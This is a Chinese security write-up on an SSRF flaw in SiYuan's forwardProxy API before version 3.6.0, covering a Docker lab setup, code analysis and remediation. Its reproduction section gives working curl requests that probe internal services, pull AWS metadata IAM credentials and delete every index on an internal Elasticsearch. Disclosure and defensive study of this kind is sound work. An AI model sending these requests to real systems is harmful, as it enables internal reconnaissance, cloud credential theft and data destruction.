0x0 背景介绍
SiYuan 是一款开源的本地优先个人知识管理系统。
在其 3.6.0 之前的版本中,/api/network/forwardProxy 接口在处理用户提交的URL时未进行有效的合法性校验。
经过身份验证的攻击者可以构造指向内部网络、本地回环地址(localhost)或云平台元数据服务的恶意 URL,诱使服务器发起 HTTP 请求并获取完整的响应体和响应头,从而导致敏感信息泄露或探测内网资产。
0x1 环境搭建
1.1、Ubuntu24+Docker搭建配置
- 另存为
install.sh
bash
#!/bin/bash
# ==========================================
# 思源笔记 (SiYuan Note) 一键部署脚本 (纯净版)
# 版本: v3.5.10
set -e
# --- 配置区域 (可自定义) ---
PROJECT_DIR="$HOME/siyuan-note"
CONTAINER_NAME="siyuan-note"
IMAGE_VERSION="b3log/siyuan:v3.5.10"
HOST_PORT="6806"
CONTAINER_PORT="6806"
TIMEZONE="Asia/Shanghai"
# 默认密码
DEFAULT_PASSWORD="MySuperSecretRootPassword2026!"
# 运行用户 ID (通常不需要改,除非宿主机用户 ID 不是 1000)
RUN_UID=1000
RUN_GID=1000
echo "=============================================="
echo " 思源笔记 (SiYuan Note) 一键部署脚本"
echo " 目标版本: ${IMAGE_VERSION}"
echo "=============================================="
# 阶段 0: 检查依赖
echo "[*] 阶段 0/5:检查环境依赖..."
if ! command -v docker &> /dev/null; then
echo "[x] 未检测到 Docker,请先安装 Docker"
exit 1
fi
if ! command -v docker compose &> /dev/null && ! docker compose version &> /dev/null; then
if command -v docker-compose &> /dev/null; then
alias docker compose="docker-compose"
echo "[*] 检测到旧版 docker-compose,已兼容处理"
else
echo "[x] 未检测到 Docker Compose,请先安装"
exit 1
fi
fi
echo "[+] Docker 环境检查通过"
# 阶段 1: 创建目录
echo "[*] 阶段 1/5:创建工作目录..."
mkdir -p "${PROJECT_DIR}"/{workspace,backups}
cd "${PROJECT_DIR}" || { echo "[x] 进入目录失败"; exit 1; }
echo "[+] 工作目录: $(pwd)"
# 阶段 2: 生成配置文件
echo "[*] 阶段 2/5:生成配置文件 (.env & docker-compose.yml)..."
# 生成 .env
cat > .env <<EOF
# 思源笔记访问密码/auth code
SIYUAN_PASSWORD=${DEFAULT_PASSWORD}
# 运行用户 ID
PUID=${RUN_UID}
PGID=${RUN_GID}
EOF
# 生成 docker-compose.yml
cat > docker-compose.yml <<EOF
version: '3'
services:
siyuan:
image: ${IMAGE_VERSION}
container_name: ${CONTAINER_NAME}
restart: unless-stopped
ports:
- "${HOST_PORT}:${CONTAINER_PORT}"
volumes:
- ./workspace:/siyuan/workspace
- ./backups:/siyuan/backups
environment:
- TZ=${TIMEZONE}
- PUID=\${PUID}
- PGID=\${PGID}
- SIYUAN_ACCESS_AUTH_CODE=\${SIYUAN_PASSWORD}
# 资源限制 (可选)
deploy:
resources:
limits:
memory: 1G
cpus: '1.0'
EOF
echo "[+] 配置文件生成完毕"
# 阶段 3: 修正权限 (关键步骤)
echo "[*] 阶段 3/5:修正目录权限..."
# 确保当前用户拥有目录所有权,避免容器内 UID 1000 无法写入
chown -R $(id -u):$(id -g) ./workspace ./backups
chmod -R 755 ./workspace ./backups
echo "[+] 权限设置完成 (所有者: $(whoami))"
# 阶段 4: 启动服务
echo "[*] 阶段 4/5:启动 Docker 容器..."
docker compose up -d
echo "[*] 等待服务初始化 (约 15 秒)..."
for i in {1..6}; do
echo -n "."
sleep 2.5
done
echo ""
# 阶段 5: 健康检查
echo "[*] 阶段 5/5:检查服务状态..."
# 检查容器是否运行
if [ "$(docker inspect -f '{{.State.Running}}' ${CONTAINER_NAME} 2>/dev/null)" != "true" ]; then
echo "[x] 容器启动失败!请查看日志:"
docker logs --tail 20 ${CONTAINER_NAME}
exit 1
fi
# 检查日志中是否包含成功标志
MAX_WAIT=30
COUNT=0
while [ $COUNT -lt $MAX_WAIT ]; do
if docker logs ${CONTAINER_NAME} 2>&1 | grep -q "kernel booted"; then
break
fi
sleep 1
COUNT=$((COUNT+1))
done
if [ $COUNT -ge $MAX_WAIT ]; then
echo "[!] 警告:未在 ${MAX_WAIT} 秒内检测到 'kernel booted',但容器正在运行。"
echo " 可能是首次启动索引重建较慢,请稍后检查日志。"
else
echo "[+] 服务内核启动成功!"
fi
# 获取本地 IP
LOCAL_IP=$(hostname -I | awk '{print $1}')
echo "=============================================="
echo " 思源笔记部署完成!"
echo "=============================================="
echo " 访问地址:"
echo " 局域网: http://${LOCAL_IP}:${HOST_PORT}"
echo " 本地: http://localhost:${HOST_PORT}"
echo ""
echo " 初始密码/auth code:"
echo " ${DEFAULT_PASSWORD}"
echo " (提示:请编辑 .env 文件修改密码并重启容器以保障安全)"
echo ""
echo " 数据位置:"
echo " ${PROJECT_DIR}/workspace"
echo " ${PROJECT_DIR}/backups"
echo ""
echo " 常用命令:"
echo " 查看日志:docker logs -f ${CONTAINER_NAME}"
echo " 重启服务:docker compose restart"
echo " 停止服务:docker compose down"
echo "=============================================="
- 搭建成功截图,后续直接输入密码登录即可

0x2 漏洞复现
2.1、手动复现
python验证:
bash
https://github.com/Kai-One001/cve-/blob/main/SiYuan_CVE_2026_32110.py

-
登录后进行
SSRF验证
-
发起
SSRF请求

2.2、 深入其它场景-概念
场景 A:探测内网与本机服务(SSRF / 内网扫描)
bash
curl -k -X POST "https://<siyuan-host>/api/network/forwardProxy" \
-H "Authorization: Token <有效的API Token 或等价 Cookie>" \
-H "Content-Type: application/json" \
-d '{
"url": "http://127.0.0.1:2379/health",
"method": "GET",
"timeout": 5000,
"headers": [
{ "User-Agent": "Mozilla/5.0 SSRF-Scanner" }
],
"contentType": "application/json",
"payloadEncoding": "text",
"payload": "",
"responseEncoding": "text"
}'
利用效果:
- 若本机或内网存在
Etcd、Consul、Redis、内部HTTP管理界面等服务,即可通过返回的状态码、响应体内容来判断端口开放和服务类型; - 通过不断调整
url(如http://10.0.0.1:8080/、http://192.168.1.1/等),可进行典型的 内网服务探测与指纹识别。
响应特征:
forwardProxy 将目标响应体和响应头完整返回:
go
//297:305:d:\环境-下载中心\siyuan-3.5.9\siyuan-3.5.9\kernel\api\network.go
data := map[string]interface{}{
"url": destURL,
"status": resp.StatusCode,
"contentType": resp.GetHeader("content-type"),
"body": body,
"bodyEncoding": responseEncoding,
"headers": resp.Header,
"elapsed": elapsed.Milliseconds(),
}
ret.Data = data
场景 B:访问云元数据服务(获取云凭证)
在多数云环境中,实例元数据服务一般绑定在特殊地址上,例如:
- AWS:
http://169.254.169.254/latest/meta-data/ - 阿里云:
http://100.100.100.200/latest/meta-data/ - 其他云厂商也会有类似保留地址。
由于代码中完全没有对目标地址进行内网 / 本地 / 特殊保留地址限制,可直接构造访问元数据服务的请求。
请求示例(以 AWS 为例):
bash
curl -k -X POST "https://<siyuan-host>/api/network/forwardProxy" \
-H "Authorization: Token <有效的API Token 或等价 Cookie>" \
-H "Content-Type: application/json" \
-d '{
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"method": "GET",
"timeout": 2000,
"headers": [
{ "User-Agent": "curl/7.79.1" }
],
"contentType": "application/json",
"payloadEncoding": "text",
"payload": "",
"responseEncoding": "text"
}'
随后可进一步访问:
bash
curl -k -X POST "https://<siyuan-host>/api/network/forwardProxy" \
-H "Authorization: Token <有效的API Token 或等价 Cookie>" \
-H "Content-Type: application/json" \
-d '{
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>",
"method": "GET",
"timeout": 2000,
"headers": [
{ "User-Agent": "curl/7.79.1" }
],
"contentType": "application/json",
"payloadEncoding": "text",
"payload": "",
"responseEncoding": "text"
}'
潜在结果:
- 获得临时访问密钥(
AccessKeyId/SecretAccessKey/SessionToken)等云凭证; - 进一步通过云 API 对对象存储、数据库、消息队列等云资源进行横向访问,构成跨系统的数据泄露乃至资产破坏。
场景 C:伪造复杂 HTTP 请求(带自定义头与二进制体)
forwardProxy 支持丰富的 payloadEncoding,允许调用者以多种编码形式传入任意二进制数据并在服务端解码、原样作为 HTTP 请求体发出。
关键代码:
go
//197:221:d:\环境-下载中心\siyuan-3.5.9\siyuan-3.5.9\kernel\api\network.go
payloadEncoding := "json"
if payloadEncodingArg := arg["payloadEncoding"]; nil != payloadEncodingArg {
payloadEncoding = payloadEncodingArg.(string)
}
switch payloadEncoding {
case "base64":
fallthrough
case "base64-std":
if payload, err := base64.StdEncoding.DecodeString(arg["payload"].(string)); err != nil {
...
} else {
request.SetBody(payload)
}
...
case "text":
default:
request.SetBody(arg["payload"])
}
这意味着攻击者可以:
- 构造任意协议兼容的
HTTP请求体(如上传伪造文件、构造特定RPC调用等); - 配合自定义
Content-Type/ 自定义Header,实现对一些仅在内网开放的REST / RPC服务的"完全代理调用"。
示例:通过内网 HTTP API 写入数据
假设内网有一个 http://10.0.0.5:9200/_cluster/health 的 Elasticsearch,进一步可尝试访问写入 / 删除索引的接口:
bash
curl -k -X POST "https://<siyuan-host>/api/network/forwardProxy" \
-H "Authorization: Token <有效的API Token 或等价 Cookie>" \
-H "Content-Type: application/json" \
-d '{
"url": "http://10.0.0.5:9200/_all",
"method": "DELETE",
"timeout": 10000,
"headers": [
{ "User-Agent": "Mozilla/5.0" },
{ "Content-Type": "application/json" }
],
"contentType": "application/json",
"payloadEncoding": "text",
"payload": "",
"responseEncoding": "text"
}'
- 如果内网
Elasticsearch实例未配置鉴权,即有可能借助此接口直接删除或篡改索引数据。
2.2、复现流量特征 (PCAP)
- 登录成功后获取
Cookie

- 明文可见请求地址,也是方便溯源

0x3 漏洞原理分析
3.1 、[核心入口] 从路由到处理函数:一条直通任意 HTTP 的"通道"
审计过程从"路由注册"开始。通过全局搜索 /api/network/forwardProxy,在 kernel/api/router.go 中定位到了这一行:
go
//509:510:d:\环境-下载中心\siyuan-3.5.9\siyuan-3.5.9\kernel\api\router.go
ginServer.Any("/api/network/echo", model.CheckAuth, model.CheckAdminRole, echo)
ginServer.Handle("POST", "/api/network/forwardProxy", model.CheckAuth, model.CheckAdminRole, forwardProxy)
- 路由链路很直接 :没有额外的业务层封装,路由直接绑定到
forwardProxy函数; - 中间件仅负责鉴权与角色检查 :
CheckAuth+CheckAdminRole,并未出现任何诸如"网络策略校验"、"URL 过滤"之类的安全网关。
顺着这条线索继续向下追踪,在 kernel/api/network.go 中找到 forwardProxy 的完整实现。至此,漏洞的"入口"已经非常清晰:
任何通过
CheckAuth + CheckAdminRole认证的请求,都可以进入forwardProxy,而后端逻辑负责"帮你访问另一个HTTP目标并把结果原样带回来"。
3.2、 [逻辑缺陷] URL 仅做语法校验,完全缺失安全边界
在 forwardProxy 中,第一段对 url 的处理几乎是整个漏洞的"根":
go
//162:167:d:\环境-下载中心\siyuan-3.5.9\siyuan-3.5.9\kernel\api\network.go
destURL := arg["url"].(string)
if _, e := url.ParseRequestURI(destURL); nil != e {
ret.Code = -1
ret.Msg = "invalid [url]"
return
}
- 开发者在这里显然有过"校验 URL" 的安全意识 ,使用了
url.ParseRequestURI进行解析; - 但
ParseRequestURI仅负责校验 URL 语法 (格式是否正确),不会对以下事项作任何限制:- 是否为内网地址(如
10.0.0.0/8、192.168.0.0/16); - 是否为
localhost/127.0.0.1/::1等本机地址; - 是否为云元数据保留地址(
169.254.169.254等); - 是否为
file://、gopher://等非预期 scheme(虽然本实现后续使用的是req.Send(method, destURL),通常只支持http/https,但从设计视角,并未显式限制)。
- 是否为内网地址(如
预期安全设计应该类似如下:
- 允许访问的目标范围应该被限制为:
- 仅外网域名白名单(如
*.openai.com、*.siyuan-note.com等); - 或至少显式禁止访问内网、
localhost及元数据地址;
- 仅外网域名白名单(如
- 在参数层面应有:
- 对
scheme的限制(仅http/https); - 对解析后的 IP 地址进行再判断(DNS 解析后是否回落到内网 / 回环地址)。
- 对
而实际实现 就是"语法正确即可",导致 destURL 成为一个完全由用户控制的 HTTP 目标地址。
从"设计预期"与"实际实现"的反差来看,这里是"最后一道失守的防线":
- 设计上:开发者想要提供一个"可配置网络请求"的能力,方便前端或插件发起 HTTP 调用;
- 实现上:却给了调用者"任意指定目标主机"的能力,且没有任何网络边界上的防火墙。
3.3、 [数据构造] 请求方法、头与体:攻击者拥有完整请求制作权
继续往下看 method、headers、payload 的处理逻辑:
go
//169:189:d:\环境-下载中心\siyuan-3.5.9\siyuan-3.5.9\kernel\api\network.go
method := "POST"
if methodArg := arg["method"]; nil != methodArg {
method = strings.ToUpper(methodArg.(string))
}
...
client := req.C()
client.SetTimeout(time.Duration(timeout) * time.Millisecond)
request := client.R()
headers := arg["headers"].([]interface{})
for _, pair := range headers {
for k, v := range pair.(map[string]interface{}) {
request.SetHeader(k, fmt.Sprintf("%s", v))
}
}
- HTTP 方法 :虽默认
POST,但完全取决于调用者输入,可设置为GET/PUT/DELETE/PATCH等任意字符串,只要下游req客户端接受; - 请求头 :
headers是一个数组,内部每个元素都是一个map[string]interface{},最终遍历并全部写入请求对象------也就是说:- 调用者可以伪造任意
HTTP头; - 包括但不限于
Host、X-Forwarded-For、Authorization、Cookie、User-Agent等敏感头; - 特别是在一些"基于
Header做认证"的内网服务前,这会极大放大攻击面。
- 调用者可以伪造任意
再配合上文提到的 payloadEncoding 与 payload 解码逻辑:
go
//197:245:d:\环境-下载中心\siyuan-3.5.9\siyuan-3.5.9\kernel\api\network.go
payloadEncoding := "json"
if payloadEncodingArg := arg["payloadEncoding"]; nil != payloadEncodingArg {
payloadEncoding = payloadEncodingArg.(string)
}
switch payloadEncoding {
case "base64":
fallthrough
case "base64-std":
if payload, err := base64.StdEncoding.DecodeString(arg["payload"].(string)); err != nil {
...
} else {
request.SetBody(payload)
}
...
case "hex":
if payload, err := hex.DecodeString(arg["payload"].(string)); err != nil {
...
} else {
request.SetBody(payload)
}
case "text":
default:
request.SetBody(arg["payload"])
}
这一段的设计估计是:为了方便前端或插件传输二进制数据,支持多种编码格式由服务端解码后再发出。这在"工具性功能"上非常友好,但在"安全边界"上则意味着:
一旦攻击者拿到了调用权,就可以精细构造任意 HTTP 请求(方法 + 头 + 体),由后端在服务器网络环境中执行。
3.4、 [响应暴露] 完整回显响应头与响应体:为攻击者提供完美反馈回路
请求发出后,forwardProxy 对响应的处理同样"极度透明":
go
//252:305:d:\环境-下载中心\siyuan-3.5.9\siyuan-3.5.9\kernel\api\network.go
started := time.Now()
resp, err := request.Send(method, destURL)
...
bodyData, err := io.ReadAll(resp.Body)
...
responseEncoding := "text"
if responseEncodingArg := arg["responseEncoding"]; nil != responseEncodingArg {
responseEncoding = responseEncodingArg.(string)
}
...
switch responseEncoding {
case "base64":
...
case "hex":
...
case "text":
fallthrough
default:
responseEncoding = "text"
body = string(bodyData)
}
data := map[string]interface{}{
"url": destURL,
"status": resp.StatusCode,
"contentType": resp.GetHeader("content-type"),
"body": body,
"bodyEncoding": responseEncoding,
"headers": resp.Header,
"elapsed": elapsed.Milliseconds(),
}
ret.Data = data
- 响应体
body会根据攻击者指定的responseEncoding被编码后返回,不存在任何内容过滤 / 脱敏; - 响应头
resp.Header完整返回,这在某些场景下可用于:- 获取服务器型号、版本、部署中间件信息(指纹);
- 获取重定向目标位置(如
Location头),在复杂链路中进一步引导请求; - 获取某些内网特有的自定义头部信息。
从攻击视角看,这个接口几乎可以当作一个"可调试的HTTP客户端":
- 不仅可以发起请求,还可以精确观察每次请求的返回内容和耗时;
- 这为"内网探测 / 云元数据枚举 / 内网服务交互"提供了非常完备的反馈闭环。
3.5、 接口与权限前置条件
- 接口路径 :
POST /api/network/forwardProxy - 路由注册位置 :
kernel/api/router.go中:
go
//509:510:d:\环境-下载中心\siyuan-3.5.9\siyuan-3.5.9\kernel\api\router.go
ginServer.Any("/api/network/echo", model.CheckAuth, model.CheckAdminRole, echo)
ginServer.Handle("POST", "/api/network/forwardProxy", model.CheckAuth, model.CheckAdminRole, forwardProxy)
- 鉴权链路 :
model.CheckAuth:负责身份认证(JWT / API Token / Cookie / Basic Auth/ 本地免密等)model.CheckAdminRole:要求调用者具备管理员角色
因此,漏洞利用前提为:攻击者能够以"已认证管理员"的身份调用后端 API。在很多实际部署场景中,这一前提往往可以通过:
- 本地桌面端 / 浏览器使用者本身(即"被攻击者自己")在不知情的情况下被诱导加载恶意插件 / 发起恶意请求;
- 已经获得后台使用权限的低信任运维 / 共享账号用户;
- 或者前端插件沙箱隔离不当时的"前端到后端"权限穿透。
3.6 基础请求结构与参数格式
/api/network/forwardProxy 期望接收一个 JSON请求体,通过 util.JsonArg 解析为 map[string]interface{},在 kernel/api/network.go 中可以看到核心参数使用方式:
go
//153:200:d:\环境-下载中心\siyuan-3.5.9\siyuan-3.5.9\kernel\api\network.go
func forwardProxy(c *gin.Context) {
ret := gulu.Ret.NewResult()
defer c.JSON(http.StatusOK, ret)
arg, ok := util.JsonArg(c, ret)
if !ok {
return
}
destURL := arg["url"].(string)
if _, e := url.ParseRequestURI(destURL); nil != e {
ret.Code = -1
ret.Msg = "invalid [url]"
return
}
method := "POST"
if methodArg := arg["method"]; nil != methodArg {
method = strings.ToUpper(methodArg.(string))
}
- 结合后续代码,可以还原一个"最小可用"的请求 JSON 模型:
json
{
"url": "http://1.1.1.1/",
"method": "GET",
"timeout": 7000,
"headers": [
{ "User-Agent": "curl/7.79.1" },
{ "Accept": "*/*" }
],
"contentType": "application/json",
"payloadEncoding": "text",
"payload": "",
"responseEncoding": "text"
}
关键点:
url:完全由用户控制,只做了url.ParseRequestURI的语法校验;method:默认POST,可被调用者任意改为GET/PUT/DELETE/...;headers:为[]map[string]interface{}形式,最终逐项写入下游 HTTP 请求头;payloadEncoding/payload:支持多种编码(text/base64/base32/hex等),解码后原样作为请求体;responseEncoding:决定响应体如何回传给前端(原文/ base64 / hex等)。
3.7、 [调用链总结] 从用户输入到漏洞爆发的完整路径
综合前面的代码分析,可以将整条调用链抽象为:
bash
`用户(已认证管理员)`
→ `HTTP 请求 /api/network/forwardProxy`
→ `gin 路由` `kernel/api/router.go`
→ 中间件:`model.CheckAuth`(身份认证)
→ 中间件:`model.CheckAdminRole`(角色校验)
→ 业务入口:`api.forwardProxy`
→ 参数解析:`util.JsonArg` → 解析 `url`、`method`、`headers`、`payload*`
→ URL 语法校验(**缺失网络边界校验**)
→ `req.C().R().Send(method, destURL)` 在服务器网络环境中发起 HTTP 请求
→ 读取目标响应体 `io.ReadAll(resp.Body)`
→ 编码响应体 `body` + 携带完整 `headers`
→ 将 `status`、`body`、`headers` 回传给调用者
→ **攻击者获得来自内网 / 本地 / 元数据服务的全部 HTTP 响应内容**
3.8、 [最大危害推导] 从 SSRF 到云资源横向移动
基于上述分析,可以推导出该漏洞在真实环境中的最大潜在危害:
- 内网信息侦察 :
- 扫描内网
IP段的常见端口(80/443/8080/2379/9200/...); - 通过响应体 / 头部识别框架类型与版本(如
Jenkins、Kibana、Prometheus等); - 为后续攻击(如已知
CVE利用)。
- 扫描内网
- 云元数据与云凭证窃取 :
- 直接访问
169.254.169.254等保留地址获取实例元数据信息; - 提取
AccessKeyId/SecretAccessKey/SessionToken等临时凭证; - 使用凭证在云控制面发起后续操作(读写对象存储、操作数据库、管理安全组等)。
- 直接访问
- 利用内网弱口令或未授权服务 :
- 若内网服务依赖"只监听
127.0.0.1 / 内网 IP,即默认为安全"的错误假设,则极易被此类漏洞突破; - 比如:
- 未授权的
Redis / MongoDB / Elasticsearch; - 仅对内开放的管理后台(如
http://127.0.0.1:8080/admin); - 甚至是容器编排平台的
API(Kubernetes APIServer等)。
- 未授权的
- 若内网服务依赖"只监听
- 间接代码执行 :
- 这本质上就是将
SiYuan所在服务器变成一个跳板机,攻击同网段的其他系统。
- 这本质上就是将
0x4 修复建议
修复方案
-
升级最新版本:将组件升级至
3.6.0 及以上版本:GitHub-siyuan -
临时防护措施:
限制访问 :通过前置Nginx / 反向代理禁止该路径对外暴露
防火墙拦截 :在主机或云防火墙层面,限制SiYuan容器 / 进程对目标地址的访问,在有条件的环境中,通过网络策略细分出SiYuan Pod的出网白名单
操作隔离 / 权限最小化 :若SiYuan部署在云环境,尽量降低其所在实例 / 容器绑定的云角色权限(确保即使元数据泄露,也只能获取低权限凭证)
免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。